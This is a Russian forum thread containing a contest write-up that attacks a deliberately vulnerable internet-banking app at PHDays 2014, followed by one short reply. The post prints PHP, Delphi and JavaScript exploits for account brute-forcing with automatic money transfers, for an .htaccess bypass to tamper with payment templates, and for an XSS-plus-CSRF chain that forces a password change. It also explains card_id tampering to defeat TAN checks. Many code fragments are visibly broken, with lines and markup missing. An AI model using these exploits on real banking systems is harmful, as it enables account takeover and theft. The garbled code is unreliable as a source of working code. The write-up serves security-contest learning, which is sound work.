HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Этичный хакинг или пентестинг > Задания/Квесты/CTF/Конкурсы
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 24.05.2014, 05:31
BigBear
Новичок
Регистрация: 04.12.2008
Сообщений: 11
С нами: 9176038

Репутация: 8
По умолчанию

Итак, пока живы воспоминания, опишем как проходил традиционный конкурс "$natch" (или как его ещё называют "Большой ку$h") в рамках конференции PHDays 2014.

В этом году, на мой взгляд, организаторы существенно усложнили эксплуатирование уязвимостей, не только расширив их количество до 6, но и задействовав не самые очевидные и простые технологии для реализации эксплойтов.

Образ для скачивания ДБО и скрипты были выложены за сутки до начала конференции, что как бы непрозрачно намекало, что времени на реверсинг и написание эксплойтов понадобится много.

Впрочем, на мой взгляд, я допустил 2 ошибки при подготовке к этому конкурсу - поехал на конференцию со слабым нетбуком, который браузер то не всегда открывает (не хотелось таскаться с тяжестями) и сел за реверсинг и за написание эксплойтов всего лишь за 9 часов до начала самого конкурса.

Тем не менее, часть уязвимостей была найдена, эксплойты частично написаны, так что начало конкурса я встретил во всеоружии.

Начнём описание с очевидных технологий эксплуатирования уязвимостей. И первым, конечно же, идёт старый добрый брутфорс.

Вообще разработчики встроили в ДБО каптчу, что, в приницпе, легко обходилось переходом в "мобильный" интерфейс и установкой нужного cookie.

Application\Controller\AuthController.php

Код:
public function loginAction()
    {
       ...
        if ($request->isPost()) {
            $login    = $request->getPost('login');
            $password = $request->getPost('password');
            $captcha  = $request->getPost('captcha');

            $return['login'] = $login;
            
            /**
             * Disable captcha on mobile interface
             */
            
            if (!$mobile) {
                if (!isset($_SESSION['captcha']['code']) || ($captcha != $_SESSION['captcha']['code'])) {
                    $return['captchaError'] = true;
                    return $return;
                }
            }
            
            $result = $this->auth->authenticate($login, $password);
            if ($result == 1) {
                $this->redirect('/');
            } elseif ($result == -1) {
                $return['loginError'] = true;
            } elseif ($result == 0) {
                $return['pwdError'] = true;
            }
        }
Application\Controller\IndexController.php

Код:
...
    public function switchInterfaceAction()
    {
        $request = $this->serviceManager->get('request');

        if ($request->getCookie('mobileInterface')) {
            setcookie('mobileInterface', '', null, '/');
        } else {
            setcookie('mobileInterface', 'true', null, '/');
        }
Соответственно, брутфорс упрощается донельзя. Приведенный далее эксплойт не только брутит аккаунты ДБО, но и автоматически проводит транзакции по переводу денежных средств на нужный счёт.

Exploit #1

Код:
 $login,
                'password' => $password,
            )
    );

    curl_setopt_array($ch, array(
        CURLOPT_URL            => $domain . '/auth/login',
        CURLOPT_POST           => 1,
        CURLOPT_FOLLOWLOCATION => 1,
        CURLOPT_POSTFIELDS     => $postdata,
	CURLOPT_COOKIE => 'mobileInterface=true',
    ));

    return curl_exec($ch);
}

function logout($ch, $domain)
{
    curl_setopt_array($ch, array(
        CURLOPT_URL            => $domain . '/auth/logout',
        CURLOPT_FOLLOWLOCATION => 0,
        CURLOPT_POST           => 0,
    ));

    return curl_exec($ch);
}

@unlink($cookie_file);
file_put_contents($cookie_file, "$domain\tFALSE\t/\tFALSE\t0\tmobileInterface\ttrue", FILE_APPEND | LOCK_EX);

$ch = curl_init();

curl_setopt_array($ch, array(
    CURLOPT_HEADER         => 0,
    CURLOPT_RETURNTRANSFER => 1,
    CURLOPT_COOKIEJAR      => $cookie_file,
    CURLOPT_COOKIEFILE     => $cookie_file,
));

$passwords = array_map('rtrim', file('passwords.dict'));

while (1) {
    $found = false;
    foreach ($passwords as $password) {
        $result = login($ch, $login, $password, $domain);
        if (strpos($result, 'Wrong password'))
            continue;

        if (strpos($result, 'User not found'))
            exit;

        $found = true;
        break;
    }

    if ($found) {
        $id = $login - 100000;
        
        curl_setopt_array($ch, array(
            CURLOPT_URL  => $domain . '/payments/create',
            CURLOPT_POST => 0,
        ));

        $result = curl_exec($ch);

        if (!preg_match("~.*\(([0-9,\.]+)\s* Rub\)~msU", $result, $match))
            continue;
	
        $sum = $match[2];

        if ($sum  $domain . '/payments/create',
            CURLOPT_FOLLOWLOCATION => 1,
            CURLOPT_POST           => 1,
            CURLOPT_POSTFIELDS     => http_build_query(array(
                'from' => $id,
                'to'   => $account,
                'sum'  => $sum,
                'description' => 'phdays'
            )),
        ));

        $result = curl_exec($ch);

        preg_match("~/payments/delete/id/(\d+)~", $result, $match);
        $transaction_id = $match[1] ;

        curl_setopt_array($ch, array(
            CURLOPT_URL            => $domain . '/payments/process/id/' . $transaction_id,
            CURLOPT_FOLLOWLOCATION => 0,
            CURLOPT_POST           => 0,
        ));

        echo "From $id sum $sum\n";

        $result = curl_exec($ch);
    }

    $login++;

    logout($ch, $domain);
}
Следующей найденной уязвимостью была возможность редактирования любых существующих платежных шаблонов через "операторское" меню.

Вообще на само существование этой полу-админки намекал файл в основной директории.

Application\Controller\OperatorContoller.php

Код:
...
 public function editTemplateAction()
    {
        $transService = $this->serviceManager->get('TransactionService');
        $userService  = $this->serviceManager->get('userService');
        $template     = $transService->fetchTemplateById($this->request->getParam('id'));

        if (!$template)
            throw new Exception\TransactionTemplateNotFoundException();

        $user     = $userService->fetchById($template->getUserId());
        $accounts = $userService->fetchUserAccounts($user);

        if ($this->request->isPost()) {
            $fromId = $this->request->getPost('from');
            $found  = false;

            foreach ($accounts as $account) {
                if ($account->getId() == $fromId) {
                    $found = true;
                    break;
                }
            }

            if (!$found) {
                throw new \Exception("Account not found");
            }

            $template->exchangeArray(array(
                'name' => $this->request->getPost('name'),
                'from' => $fromId,
                'to'   => $this->request->getPost('to'),
                'sum'  => $this->request->getPost('sum'),
            ));

            if ($transService->updateTemplate($template)) {
                $this->redirect('/operator/userInfo/id/' . $template->getUserId());
            }
        }

        return array(
            'template' => $template,
            'accounts' => $accounts,
        );
    }
Единственной проблемой было обойти .htaccess, запрещающий вход в меню оператора. Так как конкурс предполагал наличие ботов, которые будут постоянно совершать транзакции друг другу, был набросан необходимый алгоритм эксплойта.

Соответсвенно для успешного эксплуатирования данной уязвимости эксплойт должен уметь

1) Обходить ограничение .htaccess

2) Отредактировать существующий шаблон

3) Циклически проходить по всем существующим шаблонам, так как другие участники конкурса тоже будут пытаться их постоянно изменять.

Было найдено 2 варианта обхода ограничения .htaccess. Первый предполагал использование в запросе символов разного регистра (oPerator вместо operator), второй использование символов, принудительно вырезаемых сервером при нормализации запроса (operator$ вместо operator).

По странной случайности, буквально за пару месяцев до конкурса я разрабатывал похожее приложение на Delphi, а так как портировать на PHP за отсутствием свободного времени не представлялось возможным, пришлось чуток менять исходник и использовать то, что есть.

Expoit #2

Код:
HTTPS:=TIdHTTP.create;
SSL:=TIdSSLIOHandlerSocketOpenSSL.Create;
HTTPS.IOHandler:=SSL;
HTTPS.HandleRedirects:=true;
HTTPS.ConnectTimeout:=1500000;
HTTPS.AllowCookies:=true;

cook:='mobileInterface=true; act=UserService.php; f=N; c=/var/www/Application/Service/';

HTTPS.Request.CustomHeaders.Add('Cookie: '+cook);

AllTemplates:=TStringList.Create;

 try
 AllTemplates.Text:=HTTPS.Get(fsite);
 finally
 //FreeAndNil( Stream );
 end;

  fullstr:=AllTemplates.Text;
  AllTemplates.Clear;
  repeat
    if pos('/operator/editTemplate/id/',fullstr)>0 then
    begin
    str:=Copy(fullstr,pos('/operator/editTemplate/id/',fullstr)+26,5);
    fullstr:=Copy(fullstr,pos('/operator/editTemplate/id/',fullstr)+32,1000000);
    Delete(str,pos('"',str),100);
    AllTemplates.Add(str);
    end;
  until (pos('/operator/editTemplate/id/',fullstr)getUserId() != $user->getId())
            throw new ForbiddenException();
        
        if ($from->getId() == $to->getId())
            throw new \Exception("Usage of same account for recipient and sender is not allowed.");
        
        $sum = round($sum, 2);
        if ($sum getOtpMethod() == 'mtan')
            $otpCode = $this->generateMTanCode();

        $confirmed = $user->getOtpMethod() == 'none' ? true : false;
        
        $query = "INSERT transactions VALUES(null,?,?,?,?,?,?,?)";
        $this->db->query($query, $user->getId(), $from->getId(), $to->getId(), $sum, $otpCode, $confirmed, $description);

        $transaction = new Transaction();
        $transaction->exchangeArray(array(
            'id'          => $this->db->lastInsertId(),
            'user_id'     => $user->getId(),
            'from'        => $from->getId(),
            'to'          => $to->getId(),
            'sum'         => $sum,
            'otp_code'    => $otpCode,
            'confirmed'   => $confirmed,
            'description' => $description,
        ));

        return $transaction;
    } 

...

public function commitTransaction($transactionId, User $user)
    {
        $this->db->beginTransaction();
        
        try {
            $sqlTransaction = "SELECT * FROM transactions WHERE id = ? AND confirmed = 1 FOR UPDATE";
            $sth = $this->db->query($sqlTransaction, $transactionId);
            if (!$sth->rowCount())
                throw new Exception\TransactionNotFoundException();

            $transaction = new Transaction();
            $transaction->exchangeArray($sth->fetch());
            
            if ($transaction->getUserId() != $user->getId())
                throw new ForbiddenException();
            
            $accountFrom = $this->fetchAccountForUpdate($transaction->getFrom());
            $accountTo   = $this->fetchAccountForUpdate($transaction->getTo());

            if ($accountFrom->getBalance() getSum())
                throw new Exception\InsufficientFundsException();
            
            $sum         = $transaction->getSum();
            $balanceFrom = round($accountFrom->getBalance() - $sum, 2);
            $k           = $accountFrom->getCurrency() . '>' . $accountTo->getCurrency();
            $sum         = $this->rates[$k] * $sum;
            $balanceTo   = round($accountTo->getBalance() + $sum, 2);

            $query = "UPDATE accounts SET `balance` = ? WHERE id = ?";

            $this->db->query($query, $balanceTo, $transaction->getTo());
            $this->db->query($query, $balanceFrom, $transaction->getFrom());
            
            $this->db->query("DELETE FROM transactions WHERE id = ?", $transactionId);
            
        } catch (\Exception $e) {
            $this->db->rollBack();
            throw $e;
        }
        
        $this->db->commit();
        
        $needShow = ($accountFrom->getUserId() != $accountTo->getUserId());
        
        $this->addTransactionHistory($transaction, $needShow);
    }
Уязвимость существует вследствие округления передаваемой суммы до 2 знаков после запятой.

Код:
$sum = round($sum, 2);
К сожалению, о существовании этой уязвимости я узнал лишь после конкурса, поэтому эксплойта приложить не могу.

Четвёртой уязвимостью была стандартная CSRF в форме смены пароля. При наличии XSS или каком-либо ещё факторе мы можем заставить целевой аккаунт сменить свой пароль на любой указанный нами.

Application\View\templates\Auth\ChangePassword.pht ml

Код:
    
        
            Change password
        
        
        escapeHtml($error) ?>
        
        
            ">
                New password
                
                    
                    
                    Can't be empty
                    
                
            
            ">
                Confirm password
                
                    
                    
                    Wrong password
                    
                
            
            
                
                    Change
                    Back
Application\Controller\AuthController.php

Код:
...
public function changePasswordAction()
    {
        if (!$this->auth->isAuthenticated())
            $this->redirect('/');
        
        $request = $this->serviceManager->get('request');
        
        if ($request->isPost()) {
            $password = $request->getPost('password');
            $confirm  = $request->getPost('confirm');
            
            $error = null;
            
            if (empty($password)) {
                $error = 'passwordError';
            } elseif ($password != $confirm) {
                $error = 'confirmError';
            }
            
            if ($error) {
                return array(
                    $error => true
                );
            }
            
            $this->auth->changePassword($password);
            $this->redirect('/');
        }
    }
Как не сложно заметить, никаких token при смене пароля не используется, а значит смена пароля подвержена уязвимости типа CSRF.

Но сама по себе эта уязвимость мало что даёт, нам нужно было найти способ доставить её до адресата. И этот способ был найден!

Пятая уязвимость - XSS при прохождении транзакции в поле description.

Application\Service\TransactionService.php

Код:
...
public function addTransactionHistory(Transaction $transaction, $needShow = true)
    {
        $sql = "INSERT INTO transactions_history VALUES(?, ?, ?, ?, NOW(), ?, ?)";
        $this->db->query($sql, $transaction->getId(), $transaction->getFrom(),
                         $transaction->getTo(), $transaction->getSum(),
                         $transaction->getDescription(), !$needShow);
        
        return $this;
    }
Поле description попадает в БД без прохождения необходимой фильтрации. Ну казалось бы и ладно, лишь бы оно выводилось с учётом фильтрации или не выводилось нигде вообще... Но коварные разработчики внедрили "фичу" информирования клиентов банкинга о новых поступивших транзакциях, где как раз и выводится информация из поля description в чистом виде.

Application\View\Helper\showIncome.php

Код:
view->currencySymbol($item['currency'])} from {$item['from']}";
            if (!empty($item['description'])) {
                $string .= "({$item['description']})";
            }
            
            $return[] = $string;
        }
        
        $template = 'Income!
%s';
        return sprintf($template, implode("
", $return));
    }

}
Теперь-то мы и можем использовать эксплойт из двух частей: отправим транзакцию целевому аккаунту с ядовитым содержанием в поле description, предварительно начинив её эксплойтом принудительной смены пароля.

Exploit #3

Код:
document.writeln('');
function read(){
var pass = 'BigBearHasYou';
var pass2 = 'BigBearHasYou';
document.writeln('');
document.writeln('
');
document.writeln('');
document.writeln('
');
document.writeln('');
document.forms[0].submit.click();
}
Код:
document.writeln('
У данного эксплойта есть пара недостатков: не используется функция принудительного разлогирования, указанная выше (то есть после получения ядовитой транзакции пользователь оставался залогированным и мог повторно сам сменить себе пароль); есть жёсткая зависимость от наличия CSRF в функции смены пароля; и самый неприятный - на целевом хосте может быть отключено использование JS. В таком случае наш эксплойт просто не отработает. Однако было зафиксировано несколько случаев положительного срабатывания эксплойта, что свидетельствует о том, что не все участники смогли обнаружить данную уязвимость.
 
Ответить с цитированием

  #2  
Старый 24.05.2014, 05:33
BigBear
Новичок
Регистрация: 04.12.2008
Сообщений: 11
С нами: 9176038

Репутация: 8
По умолчанию

Но и тут чего-то не хватает... Ну сменили мы пароль, ну захватили активную сессию. А как украсть деньги у участника, если все транзакции подтверждаются уникальными кодами с его карточки, выданной прямо перед началом конкурса? И вот тут обнаруживается последняя шестая уязвимость - подделка идентификатора карты и её кода, проверяемых сервером.

Application\View\templates\Payments\confirmtan.pht ml

Код:
    
        
            Confirm transaction
        
        
            
                From
                
                    
                        escapeHtml($accountFrom->getNumber()) ?>
                    
                
            
            
                To
                
                    
                        escapeHtml($accountTo->getNumber()) ?>
                    
                
            
            
                Sum
                
                    
                        getSum() ?> currencySymbol($accountFrom->getCurrency()) ?>
                    
                
            
            ">
                
                        Password #getId() ?>
                        getCardId() ?>">
                
                
                    
                    
                        Wrong password
                    
                
            
            
                
                    Confirm
                    getId() ?>/" class="btn btn-danger">Delete
Как видно из исходника - на сервер передаётся hidden-переменная cart_id, содержащая идентификатор проверяемой карты. Если подменить это значение на идентификатор своей карты, сервер спросит TAN-код именно вашей карты, а не карты того, в чей аккаунт вы залогинились вследствие предыдущего эксплойта.

Application\Controller\PaymentsController.php

Код:
...
public function confirmTanAction()
    {
        $id          = $this->request->getParam('id');
        $transaction = $this->tService->fetchTransactionById($id);

        if ($this->user->getOtpMethod() != 'tan')
            throw new ForbiddenException();
        
        if (!$transaction)
            throw new Exception\TransactionNotFoundException();

        if ($transaction->getUserId() != $this->user->getId())
            throw new ForbiddenException();

        if ($transaction->getConfirmed())
            $this->redirect('/payments/commit/id/' . $transaction->getId());
        
        $userService = $this->serviceManager->get('userService');
        $accountFrom = $userService->fetchAccountById($transaction->getFrom());
        $accountTo   = $userService->fetchAccountById($transaction->getTo());

        $return = array(
            'transaction' => $transaction,
            'accountFrom' => $accountFrom,
            'accountTo'   => $accountTo
        );

        if ($this->request->isPost()) {
            $cardId = $this->request->getPost('card_id');
            $tan    = $this->tService->fetchLastTan($cardId);
            if ($tan->getCode() == $this->request->getPost('otp')) {
                $tan->setUsed(true);
                $this->tService->updateTan($tan);

                $transaction->setConfirmed(true);
                $this->tService->updateTransaction($transaction);

                $this->redirect('/payments/commit/id/' . $transaction->getId());
            } else {
                $return['error'] = true;
            }
        } else {
            $cardId = $this->user->getCardId();
            $tan    = $this->tService->fetchLastTan($cardId);
        }

        $return['tan'] = $tan;

        return $return;
    }
Значение Card_ID просто берётся из POST запроса, и сверяется с случайным TAN-кодом карты с соответствующим идентификатором. В ходе конкурса как раз было продемонстрировано как "матрёшка" из трёх подряд уязвимостей привела к опустошению кошелька одного из участников.

Ну что сказать, Браво Организаторам !!!

Когда используются вот такие "логические" цепочки из уязвимостей - довести их завершение до логической концовки становится ещё интереснее. Ведь fail на любом этапе привёл бы к падению всей кампании. А это риск. И прямо дух захватывает от ожидания "большого ку$h-а".

Спасибо всем, кто участвовал в конкурсе вместе со мной, кто болел за участников, организаторам за неповторимую атмосферу и не самые простые головоломки. Надеюсь, я увижусь со всеми Вами и в следующем году, ведь третье место только подстегнуло мой интерес к завоеванию Олимпа в данном конкурсе, тем более что все предпосылки к этому были.

(c) BigBear, 2014

Напоследок, небольшое фото с итоговыми счетами всех участников.



P.S. Исходники скриптов в аттаче, ссылка на доклад об округлении сумм в ДБО - http://2013.zeronights.ru/includes/docs/Adrian_Furtuna_-_Practical_exploitation_of_rounding_vulnerabilitie s_in_internet_banking_applications.pdf
 
Ответить с цитированием

  #3  
Старый 03.06.2014, 17:37
KIR@PRO
Постоянный
Регистрация: 26.12.2007
Сообщений: 353
С нами: 9671366

Репутация: 332
По умолчанию

Big ваще красавчик
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.